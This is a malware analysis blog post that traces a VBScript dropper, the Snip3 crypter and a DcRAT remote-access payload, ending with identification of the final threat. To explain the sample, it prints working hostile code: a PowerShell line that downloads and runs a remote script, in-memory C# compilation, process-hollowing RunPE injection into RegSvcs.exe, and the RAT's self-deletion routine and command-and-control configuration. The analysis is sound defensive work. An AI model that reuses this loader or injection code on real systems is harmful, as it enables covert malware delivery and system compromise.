Snip3 Crypter used with DCRat via VBScript

forensicitguy.github.io/snip3-crypter-dcrat-vbs/

April 16, 2022

By *Tony Lambert*
Posted *2022-04-16 16 min* read

Adversaries love using free or cheap RATs or stealers, and I see a lot of RATs such as AsyncRAT during my daily malware analysis tasks. In this detection I want to examine a fairly recent sample from in MalwareBazaar that involves Snip3 crypter and DcRAT, an AsyncRAT clone. If you want to follow along at home, the sample is available here in MalwareBazaar: https://bazaar.abuse.ch/sample/78a742710aa79e0574a6faefecfaf851b64043889e75768f5de091cfc5a21dc0/.

Analyzing the first stage

Jumping into the analysis of the first stage, we can see the code is VBScript. Some of the code includes `Dim` keywords, and that's usually an easy way to tell. The grand majority of the code in the script is responsible for some form of obfuscation and the only real important parts are the `obj.Add`, which eventually translates into a `WScript.shell` call, and the `Camtasia` variable, which reduces down to PowerShell code after some text replacement.

```
Set obj = CreateObject("Scripting.Dictionary")
obj.Add "W", "Apple"
obj.Add "S", "Bluetooth"
obj.Add "c", "Clear"
obj.Add "r", "Orange"
obj.Add "i", "Application"
obj.Add "p", "Windows"
obj.Add "t", "Linux"
obj.Add ".", "Ubuntu"
obj.Add "s", "Building"
obj.Add "h", "Car"
obj.Add "e", "Book"
obj.Add "l", "SmartPhone"
obj.Add "L", "Computer"
Dim Keys, WS
Keys = obj.Keys
For Each K In Keys
        WS = WS & K
Next

Dim Camtasia
Camtasia = "金Z難月竹大中心口田手尸[;、/一山女弓人竹廿弓[金Z難月竹大中心口田手尸[;、/一山女弓人竹廿弓
S..."
Camtasia = Replace(Camtasia, "金Z難月竹大中心口田手尸[;、/一山女弓人竹廿弓", "")

Set Lenovo = GetObject("", WS)
obj.RemoveAll()

Dim Nvidia
Nvidia = "PowerShell -ExecutionPolicy RemoteSigned -Command "
Lenovo.Run Nvidia & Camtasia, 0
```

I've reduced the amount of code for brevity but in the full sample there is a large chunk of non-English Unicode characters that eventually get removed to produce this PowerShell code:

```
[System.Net.WebClient] $Client = New-Object System.Net.WebClient; [Byte[]] $DownloadedData =
$Client.DownloadData('hxxps://textbin[.]net/raw/mevlbkxshp'); [String] $ByteToString =
[System.Text.UTF8Encoding]::UTF8.GetString($DownloadedData); [System.IO.File]::WriteAllText('C:\Users\Public\mevlbkxshp.PS1',
$ByteToString, [System.Text.Encoding]::UTF8); Invoke-Expression 'PowerShell -ExecutionPolicy RemoteSigned -File
C:\Users\Public\mevlbkxshp.PS1'
```

The PowerShell code is designed to download the next stage from `hxxps://textbin[.]net/raw/mevlbkxshp`, write the contents to disk as `mevlbkxshp.PS1` and then executing the script. It's simple and straightforward with just the single purpose. The fun comes in the next stage!

Analyzing the second stage

The second stage downloaded from `textbin[.]net` contains a lot of code that is encoded in decimal or URL encoding. The first part of the script contains

```
Add-Type -AssemblyName System.Windows.Forms
Add-Type -AssemblyName Microsoft.VisualBasic
Add-Type -AssemblyName Microsoft.CSharp
Add-Type -AssemblyName System.Management
Add-Type -AssemblyName System.Web

[Byte[]] $RUNPE = @(31,139,8,0,0,0,0,0,4,0,...)

Function INSTALL() {
    [String] $VBSRun =
[System.Text.Encoding]::Default.GetString(@(83,101,116,32,79,98,106,32,61,32,67,114,101,97,116,101,79,98,106,101,99,116,40,34,87,83
,48))
    [System.IO.File]::WriteAllText(([System.Environment]::GetFolderPath(7) + "\" + "MicroSoftOutlookLauncher.vbs"), $VBSRun.Replace
}
Function Decompress {
        [CmdletBinding()]
    Param (
                [Parameter(Mandatory,ValueFromPipeline,ValueFromPipelineByPropertyName)]
        [byte[]] $byteArray = $(Throw("-byteArray is required"))
    )
        Process {
        $input = New-Object System.IO.MemoryStream( , $byteArray )
            $output = New-Object System.IO.MemoryStream
        $gzipStream = New-Object System.IO.Compression.GzipStream $input, ([IO.Compression.CompressionMode]::Decompress)
            $gzipStream.CopyTo( $output )
        $gzipStream.Close()
                $input.Close()
                [byte[]] $byteOutArray = $output.ToArray()
        return $byteOutArray
    }
}
```

This chunk of code defines some of the overhead boilerplate code involved with the Snip3 crypter. The `$RUNPE` variable contains decimal-encoded, gzip-compressed chunk of C# code. The `INSTALL()` function writes a bare minimum bit of code to disk to execute this downloaded code in the future. The `Decompress()` function inflates the compression on `$RUNPE` later down the line to make it usable. The second chunk of the script contains loads of additional boilerplate code from Snip3 designed to compile the RunPE code in memory, make the bare minimum of evidence on disk, and then load the generated RunPE assembly into memory.

```
function CodeDom([Byte[]] $BB, [String] $TP, [String] $MT) {
$dictionary = new-object 'System.Collections.Generic.Dictionary[[string],[string]]'
$dictionary.Add("CompilerVersion", "v4.0")
$CsharpCompiler = New-Object Microsoft.CSharp.CSharpCodeProvider($dictionary)
$CompilerParametres = New-Object System.CodeDom.Compiler.CompilerParameters
$CompilerParametres.ReferencedAssemblies.Add("System.dll")
$CompilerParametres.ReferencedAssemblies.Add("System.Management.dll")
$CompilerParametres.ReferencedAssemblies.Add("System.Windows.Forms.dll")
$CompilerParametres.ReferencedAssemblies.Add("mscorlib.dll")
$CompilerParametres.ReferencedAssemblies.Add("Microsoft.VisualBasic.dll")
$CompilerParametres.IncludeDebugInformation = $false
$CompilerParametres.GenerateExecutable = $false
$CompilerParametres.GenerateInMemory = $true
$CompilerParametres.CompilerOptions += "/platform:X86 /unsafe /target:library"
$BB = Decompress($BB)
[System.CodeDom.Compiler.CompilerResults] $CompilerResults = $CsharpCompiler.CompileAssemblyFromSource($CompilerParametres,
[System.Text.Encoding]::Default.GetString($BB))
[Type] $T = $CompilerResults.CompiledAssembly.GetType($TP)
[Byte[]] $Bytes = [System.Web.HttpUtility]::UrlDecodeToBytes([Microsoft.VisualBasic.Strings]::StrReverse('00%00%00...'))
```

The `$CSharpCompiler` and `$CompilerParametres` variables hold objects and parameters around C# code compilation. When this code executes, you'll see PowerShell spawning one or more `csc.exe` processes to convert the code into an executable assembly. The last variable `$Bytes` holds the adversary's payload that Snip3 crypter protects during deployment. The payload is embedded within the script as bytes that are URL encoded and reversed afterward. We can easily obtain the original payload by executing the line of PowerShell storing the payload into `$Bytes` and then using `Set-Content` to write the content to disk. We can also obtain the RunPE code by doing the same with passing `$RUNPE` through `Decompress()` before writing the contents to disk using `Set-Content`. The final chunk of code is responsible for calling the RunPE injection code, telling it to spawn `regsvcs.exe`, and inject the final payload `$Bytes` into the memory space of `regsvcs.exe`.

```
try
{
[String] $MyPt =
[System.IO.Path]::Combine([System.Runtime.InteropServices.RuntimeEnvironment]::GetRuntimeDirectory(),"RegSvcs.exe")
[Object[]] $Params=@($MyPt.Replace("Framework64","Framework") ,$Bytes)
return $T.GetMethod($MT).Invoke($null, $Params)
} catch { }
}
INSTALL
[System.Threading.Thread]::Sleep(1000)
CodeDom $RUNPE "GIT.Repository" "Execute"
```

From here there are two paths we can branch into for our investigation: exploring Snip3 and exploring the final payload. The first path we're going to take is exploring Snip3.

Examining Snip3's code

The entry point invoked in the Snip3 code is `[GIT.Repository]::Execute`. The code is slightly obfuscated in some places but the variable names are extremely self-explanatory.

```
namespace GIT
{
    public sealed class Repository
    {
        public static void Execute(string path, byte[] payload)
        {
            for (int i = 0; i < 5; i++)
            {
                int readWrite = 0x0;
                NativeMethods.StartupInformation si = new NativeMethods.StartupInformation();
                NativeMethods.ProcessInformation pi = new NativeMethods.ProcessInformation();
                si.Size = (UInt32)(Marshal.SizeOf(typeof(NativeMethods.StartupInformation))); //Attention !

                try
                {
                    bool createProc = NativeMethods.CreateProcessA(path, "", IntPtr.Zero, IntPtr.Zero, false, 0x00000004 |
0x08000000, IntPtr.Zero, null, ref si, ref pi);
                    if (!createProc)
                    {
                        throw new Exception();
                    }

                    ...

                    if (imageBase == baseAddress)
                    {
                        if (NativeMethods.ZwUnmapViewOfSection(pi.ProcessHandle, baseAddress) != 0)
                        {
                            throw new Exception();
                        }
                    }

                    ...

                    bool writeProcessMemory = NativeMethods.WriteProcessMemory(pi.ProcessHandle, newImageBase, payload,
sizeOfHeaders, ref readWrite);
                    if (!writeProcessMemory)
                    {
                        throw new Exception();
                    }
```

Some of the structure and variable names reference Windows API methods used during process hollowing injection. These include `WriteProcessMemory`, `ZwUnmapViewOfSection`, and `CreateProcessA`. While the structure and variable names are self-explanatory, the process of those names getting attached to the actual API calls is slightly more obfuscated. This can be seen in `Helper` struct. Each of the API calls and DLL names required are stored as an integer array that must be decoded in a later function.

```
    public struct Helper
    {
        public static int[] Kernel32 = new int[] { 3105607, 3104713, 3106650, 3106054, 3104713, 3105756, 3097263, 3097114 };
        public static int[] NtDLL = new int[] { 3106054, 3106948, 3104564, 3105756, 3105756 };

        public static int[] ResumeThread = new int[] { 3101882, 3104713, 3106799, 3107097, 3105905, 3104713, 3102180, 3105160,
3106650, 3104713, 3104117, 3104564 };
        public static int[] Wow64SetThreadContext = new int[] { 3102627, 3106203, 3107395, 3097710, 3097412, 3102031, 3104713,
3106948, 3102180, 3105160, 3106650, 3104713, 3104117, 3104564, 3099647, 3106203, 3106054, 3106948, 3104713, 3107544, 3106948
};
        public static int[] SetThreadContext = new int[] { 3102031, 3104713, 3106948, 3102180, 3105160, 3106650, 3104713,
3104117, 3104564, 3099647, 3106203, 3106054, 3106948, 3104713, 3107544, 3106948 };
        public static int[] Wow64GetThreadContext = new int[] { 3102627, 3106203, 3107395, 3097710, 3097412, 3100243, 3104713,
3106948, 3102180, 3105160, 3106650, 3104713, 3104117, 3104564, 3099647, 3106203, 3106054, 3106948, 3104713, 3107544, 3106948
};
        public static int[] GetThreadContext = new int[] { 3100243, 3104713, 3106948, 3102180, 3105160, 3106650, 3104713,
3104117, 3104564, 3099647, 3106203, 3106054, 3106948, 3104713, 3107544, 3106948 };
        public static int[] VirtualAllocEx = new int[] { 3102478, 3105309, 3106650, 3106948, 3107097, 3104117, 3105756,
3099349, 3105756, 3105756, 3106203, 3104415, 3099945, 3107544 };
        public static int[] WriteProcessMemory = new int[] { 3102627, 3106650, 3105309, 3106948, 3104713, 3101584, 3106650,
3106203, 3104415, 3104713, 3106799, 3106799, 3101137, 3104713, 3105905, 3106203, 3106650, 3107693 };
        public static int[] ReadProcessMemory = new int[] { 3101882, 3104713, 3104117, 3104564, 3101584, 3106650, 3106203,
3104415, 3104713, 3106799, 3106799, 3101137, 3104713, 3105905, 3106203, 3106650, 3107693 };
        public static int[] ZwUnmapViewOfSection = new int[] { 3103074, 3107395, 3102329, 3106054, 3105905, 3104117, 3106352,
3102478, 3105309, 3104713, 3107395, 3101435, 3104862, 3102031, 3104713, 3104415, 3106948, 3105309, 3106203, 3106054 };
        public static int[] CreateProcessA = new int[] { 3099647, 3106650, 3104713, 3104117, 3106948, 3104713, 3101584,
3106650, 3106203, 3104415, 3104713, 3106799, 3106799, 3099349 };
    }
```

The API mapping to structure name process is handled by code from this `NativeMethods` class in the crypter. During the mapping process the class calls `Decode.BytesToString()` in another class to finish translating each integer array to a string needed for the API.

```
    public abstract class NativeMethods
    {
        private const string Key = "QoMn4OhGfV+oHNb8AzV==";

        public delegate int DelegateResumeThread(IntPtr handle);
        public delegate bool DelegateWow64SetThreadContext(IntPtr thread, int[] context);
        public delegate bool DelegateSetThreadContext(IntPtr thread, int[] context);
        public delegate bool DelegateWow64GetThreadContext(IntPtr thread, int[] context);
        public delegate bool DelegateGetThreadContext(IntPtr thread, int[] context);
        public delegate int DelegateVirtualAllocEx(IntPtr handle, int address, int length, int type, int protect);
        public delegate bool DelegateWriteProcessMemory(IntPtr process, int baseAddress, byte[] buffer, int bufferSize, ref
int bytesWritten);
        public delegate bool DelegateReadProcessMemory(IntPtr process, int baseAddress, ref int buffer, int bufferSize, ref
int bytesRead);
        public delegate int DelegateZwUnmapViewOfSection(IntPtr process, int baseAddress);
        public delegate bool DelegateCreateProcessA(string applicationName, string commandLine, IntPtr processAttributes,
IntPtr threadAttributes,
            bool inheritHandles, uint creationFlags, IntPtr environment, string currentDirectory, ref StartupInformation
startupInfo, ref ProcessInformation processInformation);

        public static readonly DelegateResumeThread ResumeThread = LoadApi<DelegateResumeThread>
(Decode.BytesToString(Decode.IntegerToBytes(Helper.Kernel32, Key)),
Decode.BytesToString(Decode.IntegerToBytes(Helper.ResumeThread, Key)));
        public static readonly DelegateWow64SetThreadContext Wow64SetThreadContext = LoadApi<DelegateWow64SetThreadContext>
(Decode.BytesToString(Decode.IntegerToBytes(Helper.Kernel32, Key)),
Decode.BytesToString(Decode.IntegerToBytes(Helper.Wow64SetThreadContext, Key)));
...
```

How do we know it's Snip3?

There are multiple different crypter products that adversaries might choose. Other crypters tend to include a DLL injection component embedded in a PowerShell script, but Snip3 is the only one I've run across that distributes its injection component as raw C# source and compiled it on the victim host. There are also code overlaps with this blog post from Morphisec. Pretty much the majority of the `CodeDom()` and `INSTALL()` functions overlapped with the code seen by Morphisec.

Identifying the final payload (DcRAT)

Threats mixed with a crypter in this manner are often difficult to identify. This is largely because the final payload never gets written to disk in plaintext during execution. Most of the time the final payloads I see are RATs and stealers. Now that we've extracted the payload from the crypter component, we can explore what the payload is.

A good first step is to triage the binary with `diec`.

```
remnux@remnux:~/cases/dcrat-snip3$ diec
payload.exe
PE32
    Library: .NET(v4.0.30319)[-]
    Compiler: VB.NET(-)[-]
    Linker: Microsoft Linker(8.0)[GUI32]
```

Detect-It-Easy thinks we're looking at a .NET executable compiled using VB.NET. That said, we can try to decompile the executable using `ilspycmd`.

```
remnux@remnux:~/cases/dcrat-snip3$ ilspycmd payload.exe >
payload.decompiled.cs
remnux@remnux:~/cases/dcrat-snip3$ head payload.decompiled.cs
using System;
using System.Collections;
using System.Collections.Generic;
using System.Diagnostics;
using System.Drawing.Imaging;
using System.IO;
using System.IO.Compression;
using System.Linq;
using System.Management;
using System.Net;
```

Awesome, it looks like we have some valid source code! Inside the source I tend to look for a few things. First, I look for obfuscation. In this sample, it doesn't look like we have any at all. We can tell this by looking for strings, function names, and variable names.

```
FileStream fileStream = new FileStream(((FileSystemInfo)val).get_FullName(),
FileMode.CreateNew);
byte[] array = File.ReadAllBytes(fileName);
fileStream.Write(array, 0, array.Length);
Methods.ClientOnExit();
string text = Path.GetTempFileName() + ".bat";
using (StreamWriter streamWriter = new StreamWriter(text))
{
    streamWriter.WriteLine("@echo off");
    streamWriter.WriteLine("timeout 3 > NUL");
    streamWriter.WriteLine("START \"\" \"" + ((FileSystemInfo)val).get_FullName() + "\"");
    streamWriter.WriteLine("CD " + Path.GetTempPath());
    streamWriter.WriteLine("DEL \"" + Path.GetFileName(text) + "\" /f /q");
}
ProcessStartInfo val5 = new ProcessStartInfo();
val5.set_FileName(text);
val5.set_CreateNoWindow(true);
val5.set_ErrorDialog(false);
val5.set_UseShellExecute(false);
val5.set_WindowStyle((ProcessWindowStyle)1);
Process.Start(val5);
Environment.Exit(0);
```

The chunk of code above writes a timeout and deletion command to a Batch script file and then executes it. This is usually a self-deletion measure for RATs and stealers. If obfuscation was involved in this sample, very little of the code above would be readable. The strings would likely be scrambled as would the variable names. In some cases of obfuscation, adversaries may even try to use non-English Unicode characters to make the code unreadable.

The next thing I tend to look for is some form of a settings/configuration block. We can find this relatively early in the decompiled code:

```
public static class Settings
{
    public static string Por_ts = "usFKhAwZB0s5E032xkSVfg7l+Ch91dfu+A08UlFLF49Q30Ft0dZAYmucm8sTGi/dwaJ+M3FgfdYZ8cPP8D1V+w==";

    public static string Hos_ts = "F09WwBBWBuVtFrk9Sq585p4pSPXpOKP4VsaBWaqfQ9X6FBhLlsklmDXupr4ISZVUh6yZXGtWnOMqJJK+ObQwpRK6tzgcdVgA

    public static string Ver_sion = "yt5wqjF7PeriwF2ATQgo1qaGu8ohghvvWFdY7y7X0C5deqcnj9VHSiD4wq7X5aEN+1P6NP9WYGQQIAbd9kf3lA==";

    public static string In_stall = "2t2u9kfC5A1rQP6SZhw4iizbdOd43zK972n9x0JBS1pGDDenkZU0OJAiJeJkrkStNij5dIdB9czAC+W70P4YFg==";

    public static string Install_Folder = "%AppData%";

    public static string Install_File = "";

    public static string Key = "MnB2MzZTUFI4bTFFZXNVUW1tdlI0bFJ1blNMUUZIbk4=";

    public static string MTX = "jswrBrmmYlOHF153N6vUcJ18KLbBZCuS9UMeDq2PFEF4OMujEGd96QJnoQXKp+uYbf/MH9tlXkezr+SQPtOInOpodPFxZKzrM4H

    public static string Certifi_cate =
"FRt1VyhVG2vgyDBi5pdeM5A14MRbYXnBrM5qQ1T21evDrOwE8p5VDe0OmshQuNw9cMHBouTEK3wDr4FDYT0RrxdzN60qxRZw+gwkmF+opxLh4N15jgtAB/XtKl1qRsQEJd
K4F";
```

```
public static string Server_signa_ture = "SINLJan/0TFj5M2ElE91NPC7mWSMGkC99zKmLdlQkd/I8LyHWPnj5hDLz90v8qYZRV1d9X3mLu4fDn/EYWiG/

public static X509Certificate2 Server_Certificate;

public static Aes256 aes256;

public static string Paste_bin = "bJMeCQ+O0TOP7Mimb+LvM7YW+MG+LMhrig9F98i7Nq0Cf6vDG5QD0dDmvlpP2i6osVFcGu8J6upk/n9X7YOx1g==";

public static string BS_OD = "5e5wxuNXiS4QhUtSFmcXlMN/zwGpAgWFR7TAEtRIDeyN7OWkaRRNeC9nJ6ntc9Hvc8wF3OAqcV8YGGhscsQSSg==";

public static string Hw_id = null;

public static string De_lay = "1";

public static string Group = "wZWrR/yvCwjmNMoS1xk3yYz/TleFz0+gmpNA4gJZ2vgSeyfX/K73NfIcVfuLUGPasaVgSUO6pLJoNVcB/FqlSw==";

public static string Anti_Process = "aZ12B0T+g0y0kb+3txbww4Hoe7T+8yiR2wblpQCzwI+pB0INXDGOhXaWNkf8CLZDqhgO/CPYoMwlZJ0FMl0Fhg==";

public static string An_ti = "yFsA3ZmKBpFvdy3/VrPEwMuoG+BVaWzfBohXvIqmZ2LoaiIqz+StD0aFxFuZIufPAvKtRXVJZ2NUVhR7YAGyRA==";

public static bool InitializeSettings()
{
    ...
```

The `Settings` class for this payload contains a block of settings that appear consistent with AsyncRAT settings. Since it looks like we're working with AsyncRAT or a clone of it, we can use the AsyncRAT Config Parser from @jeFF0Falltrades to obtain the plaintext configuration.

```
remnux@remnux:~/cases/dcrat-snip3$ ./async_rat_config_parser.py payload.exe | jq
[
  {
    "file_path": "payload.exe",
    "aes_key": "846ca7dddc5312f58468a967e5e7a4ec9e6de4120b03a1806dbfd976785a95d8",
    "aes_salt": "4463526174427971777164616e6368756e",
    "config": {
      "Por_ts": "5900",
      "Hos_ts": "rick63.publicvm[.]com",
      "Ver_sion": " 1.0.7",
      "In_stall": "false",
      "Install_Folder": "%AppData%",
      "Install_File": "",
      "Key": "MnB2MzZTUFI4bTFFZXNVUW1tdlI0bFJ1blNMUUZIbk4=",
      "MTX": "DcRatMutex_qwqdanchun",
      "Certifi_cate":
"MIICMDCCAZmgAwIBAgIVANDdhyIzFkRkVUdU1pUsWShwjeXTMA0GCSqGSIb3DQEBDQUAMGQxFTATBgNVBAMMDERjUmF0IFNlcnZlcjETMBEGA1UECwwKcXdxZGFuY2h1bjQ5f",
      "Server_signa_ture": "UWZseCaaZjexEDVQ2lOsjGF3/bzIWM+AtaMG8YJOKeCH6T82VGt+odwaoTThFyioEEzEKgOuucbs5V3F2LoXzpK1RtKu8B4z62M6aSv
      "Paste_bin": "null",
      "BS_OD": "false",
      "De_lay": "1",
      "Group": "Default",
      "Anti_Process": "false",
      "An_ti": "false"
    }
  }
]
```

Now that we've parsed the configuration, a couple things look slightly odd. In authentic AsyncRAT payloads the mutex (MTX) value appears similar to `AsyncMutex_6SI8OkPnk`. In this case, the MTX value is `DcRatMutex_qwqdanchun`. This leads me to hypothesize that this payload is really DcRAT instead of AsyncRAT. So how can we prove or disprove it? DCRat is essentially a clone of AsyncRAT with some

extra things added in, so the configuration portion is definitely close enough to be parsed by anything that can handle AsyncRAT. The next piece of evidence would be the Certificate field in the configuration. Once parsed using CyberChef's "Parse X.509 Certificate (base64)" recipe, we can see the details of the self-signed certificate included with the payload:

```
Version:          3 (0x02)
Serial number:    119241031681634139716895860797249298149169783752 3
(0x00d0dd872233164464554754d6952c5928708de5d3)
Algorithm ID:     SHA512withRSA
Validity
  Not Before:     27/11/2020 21:25:45 (dd-mm-yyyy hh:mm:ss) (201127212545Z)
  Not After:      06/09/2031 21:25:45 (dd-mm-yyyy hh:mm:ss) (310906212545Z)
Issuer
  CN = DcRat Server
  OU = qwqdanchun
  O  = DcRat By qwqdanchun
  L  = SH
  C  = CN
Subject
  CN = DcRat
Public Key
  Algorithm:      RSA
  Length:         1024 bits
  Modulus:        90:0f:37:a8:40:01:8b:65:16:9a:6b:b2:0f:9a:c0:d6:
                  06:5d:ef:a0:be:b2:15:a1:54:33:da:e6:cd:8e:09:50:
                  29:c7:81:31:b8:6b:07:d7:c9:65:f5:c9:90:32:e8:97:
                  af:da:dc:97:78:27:27:12:e7:55:be:cd:98:0b:6d:c8:
                  ca:f2:bc:11:c8:9f:80:50:8f:53:24:de:20:84:23:ef:
                  4a:0a:97:8a:a4:f3:c2:bb:8f:a3:ec:fc:07:8d:71:71:
                  d7:52:27:c2:2f:e3:d4:5e:16:96:46:35:f6:f3:0b:80:
                  0b:e5:4d:e0:5a:3f:86:ab:ea:38:12:1d:53:8a:0a:eb
  Exponent:       65537 (0x10001)
Certificate Signature
  Algorithm:      SHA512withRSA
  Signature:      7f:b0:6c:4c:18:81:34:85:dc:d4:6e:49:a2:db:8c:02:
                  d3:f0:4e:65:9a:1a:e4:91:ce:e5:f1:1e:dd:a2:39:ea:
                  66:a1:80:e8:6a:88:47:70:75:68:44:43:29:e5:fa:61:
                  8d:e6:b1:d9:b0:e2:e2:b8:2b:ba:96:5e:e5:91:86:39:
                  f5:65:bc:1e:79:ae:18:ad:4c:93:2e:d4:ee:d4:e6:09:
                  a4:4f:73:ee:f5:53:7d:78:bb:3e:49:7e:8f:dd:7c:ee:
                  46:7c:7f:e4:be:12:f1:68:f5:ac:36:60:ee:63:2b:d5:
                  13:c9:9f:1d:86:d4:2e:86:90:bd:b1:14:82:c1:0e:5f

Extensions
  subjectKeyIdentifier :
    a2789004e1977ae704604cec0cf720f6c630ca66
  basicConstraints CRITICAL:
    cA=true
```

In the case of AsyncRAT, the CN field would be “AsyncRAT Server” or something similar. In this case, it’s “DCRat Server”, more evidence of DCRat. The final piece of evidence comes from an interesting place in the payload’s decompiled source. When AsyncRAT and its clones generate a RAT client, the settings of that client are encrypted with AES and salted. In the case of AsyncRAT, the salt is a byte array:

```
private static readonly byte[] Salt =
            {
            0xBF, 0xEB, 0x1E, 0x56, 0xFB, 0xCD, 0x97, 0x3B, 0xB2, 0x19, 0x2, 0x24, 0x30, 0xA5, 0x78, 0x43, 0x0, 0x3D,
0x56,
            0x44, 0xD2, 0x1E, 0x62, 0xB9, 0xD4, 0xF1, 0x80, 0xE7, 0xE6, 0xC3, 0x39, 0x41
        };
```

In the sample, the salt value is different:

```
private static readonly byte[] Salt =
Encoding.ASCII.GetBytes("DcRatByqwqdanchun");
```

This finding in the payload source is consistent with the source code of DcRAT in Github. Thus, we can definitively say this threat is DcRAT! Remember, when analyzing payloads protected with crypters you can’t always assume they lead to one particular threat, you have to positively identify the final threat using evidence instead of assumptions.

Thank you for reading!